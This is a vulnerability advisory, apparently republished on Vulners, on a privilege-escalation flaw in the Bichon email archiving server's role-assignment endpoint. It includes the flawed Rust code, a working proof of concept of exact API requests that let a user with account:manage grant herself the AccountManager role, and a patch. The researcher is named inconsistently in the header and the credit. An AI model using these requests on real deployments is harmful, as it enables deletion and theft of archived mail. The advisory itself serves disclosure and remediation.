Bichon 1.0.2 Vertical Privilege Escalation via Account Role Assignment
======================================================================
Vendor: rustmailer
Product: Bichon - self-hosted email archiving server (Rust + TypeScript)
Project URL: https://github.com/rustmailer/bichon
Affected: All versions through HEAD as of 2026-05-18
Commit: 9daab241b0220e81e43d4b98616d77fa45ad58c7
Release: 1.0.2 (Docker: rustmailer/bichon:1.0.2,
sha256 6a8232f1db4df939cfe28c54661699638d859f5923ff1965aacdabed226c67f0)
Patched: Pending vendor fix
Severity: High
CVSS 3.1: 7.6 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L)
CWE: CWE-269 (Improper Privilege Management)
CWE-863 (Incorrect Authorization)
CVE: Pending (requested via GitHub CNA)
Discovered: 2026-05-18 (manual source review)
Researcher: AoxLir <[email protected]>
Disclosure: Coordinated (Project Zero 90-day standard)
I. Background
=============
Bichon is a self-hosted email archiving server written in Rust with a
SvelteKit frontend. It integrates IMAP fetching, OAuth2 mail providers,
SOCKS5 proxy support, and a REST API protected by an RBAC subsystem of
22 granular permissions across 5 built-in roles and an unlimited number
of admin-defined custom roles.
The vendor README (line 101) states:
"Account-Level Isolation: Grant users access to specific accounts
with scoped roles. Permissions enforced at the API layer."
The vulnerability documented here directly contradicts that claim.
II. Vulnerability Detail
========================
The endpoint POST /api/v1/accounts/access/assignments calls
BatchAccountRoleRequest::do_assign() (crates/core/src/account/grant.rs
lines 115-154):
pub fn do_assign(self, context: &ClientContext) -> BichonResult<()> {
for account_id in &self.account_ids {
let assigned_role_id = context.user
.account_access_map.get(account_id)...?;
let user_scoped_role = UserRole::find(*assigned_role_id)?...?;
// Critical Check: Does this role grant management/sharing rights?
if !user_scoped_role.permissions
.contains(Permission::ACCOUNT_MANAGE) {
return Err(...);
}
// Optional: Ensure manager isn't giving away perms they don't have
// ^^^ NOT IMPLEMENTED -- the missing check.
}
Self::grant_batch_account_access(
self.account_ids, self.user_ids, self.role_id
)
}
The check verifies the caller holds Permission::ACCOUNT_MANAGE on every
target account but does NOT compare the granted role's permissions
against the caller's own. Any user holding ACCOUNT_MANAGE on an account
- a permission an administrator might include in a narrowly scoped
custom role intended only for sharing/auditing - can therefore grant
themselves OR any other user the built-in AccountManager role (or any
arbitrary custom role) on that account, gaining permissions such as:
data:delete - irreversible mail deletion
data:raw:download - exfiltration of raw EML/MIME files
data:export:batch - bulk export
data:import:batch - injection of forged messages into the archive
data:smtp:ingest - abuse of the SMTP ingest pipeline
data:manage - metadata tampering
The REST handler (crates/server/src/rest/api/account.rs lines 303-312)
adds no additional authorization beyond calling do_assign().
III. Proof of Concept
=====================
Tested live against the official Docker image rustmailer/bichon:1.0.2.
Setup
-----
$ docker run -d --name bichon-poc -p 15630:15630 \
-v /tmp/bichon-poc/data:/data --user 1000:1000 \
-e BICHON_ROOT_DIR=/data \
-e BICHON_ENCRYPT_PASSWORD=poc-pw \
rustmailer/bichon:latest
Default credentials: admin / admin@bichon
Step 1: Admin creates a custom Account role with restricted permissions
but containing ACCOUNT_MANAGE:
POST /api/v1/roles
Authorization: Bearer <admin_token>
Content-Type: application/json
{"name":"RestrictedAuditor",
"role_type":"Account",
"permissions":["account:manage","account:read_details","data:read"]}
Step 2: Admin creates a low-privilege user 'alice', grants her the
RestrictedAuditor role on an account.
Step 3: Alice logs in and issues the exploit:
POST /api/v1/accounts/access/assignments
Authorization: Bearer <alice_token>
Content-Type: application/json
{"account_ids": [<account_id>],
"user_ids": [<alice_id>],
"role_id": 200100000000000}
Response: HTTP/1.1 200 OK
(200100000000000 is the built-in AccountManager role ID, returned by
GET /api/v1/list-roles.)
Verification
------------
Alice's permissions BEFORE the call:
account:manage, account:read_details, data:read (3 perms)
Alice's permissions AFTER the call:
account:manage, account:read_details, data:read,
data:delete, data:export:batch, data:import:batch,
data:manage, data:raw:download, data:smtp:ingest (9 perms)
Six new permissions gained, including the high-impact data:delete
(irreversible mail deletion) and data:raw:download (raw EML export).
Total elapsed: a single HTTP POST, no errors.
IV. Extended Tests
==================
* Cross-user promotion: alice (RestrictedAuditor on account A) promoted
a different user 'bob' (zero account access) to AccountManager on A
-- HTTP 200. Confirms lateral movement is possible, not just
self-promotion.
* Multi-account boundary: alice attempted to escalate on accounts A
(had access) AND B (no access) in a single request -- HTTP 403
"No access to account B". The account-boundary check works
correctly; only the per-account permission-bound check is missing.
* Arbitrary custom role: alice granted herself an admin-created
custom role with 9 high-impact permissions (effectively a renamed
AccountManager) -- HTTP 200. Refutes any rebuttal that promotion
is bounded by the built-in AccountManager role.
V. Impact
=========
Authenticated user with the narrowest custom role that contains
ACCOUNT_MANAGE can:
- Delete all archived messages for the affected account (regulatory
/ forensic impact -- archives are typically subject to legal hold).
- Exfiltrate raw EML/MIME (PII, business confidential).
- Inject forged messages into the archive (integrity / chain-of-
custody compromise).
- Promote arbitrary other users to AccountManager (lateral movement
in multi-tenant deployments).
VI. Solution
============
Add a permission-subset check inside do_assign(), after the existing
ACCOUNT_MANAGE check:
let target_role = UserRole::find(self.role_id)?
.ok_or_else(|| raise_error!("Target role not found".into(),
ErrorCode::ResourceNotFound))?;
let extra: HashSet<_> = target_role.permissions
.difference(&user_scoped_role.permissions)
.collect();
if !extra.is_empty() {
return Err(raise_error!(
format!("Cannot grant permissions you do not hold: {:?}",
extra),
ErrorCode::Forbidden));
}
For defense in depth, also require Permission::ACCOUNT_MANAGE_ALL at
the REST handler layer (crates/server/src/rest/api/account.rs:303), so
that org-wide account sharing requires an administrator.
VII. Credit
============
Discovered and reported by MrOruc, independent security researcher.
GitHub: https://github.com/MrOruc
Email: [email protected]Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation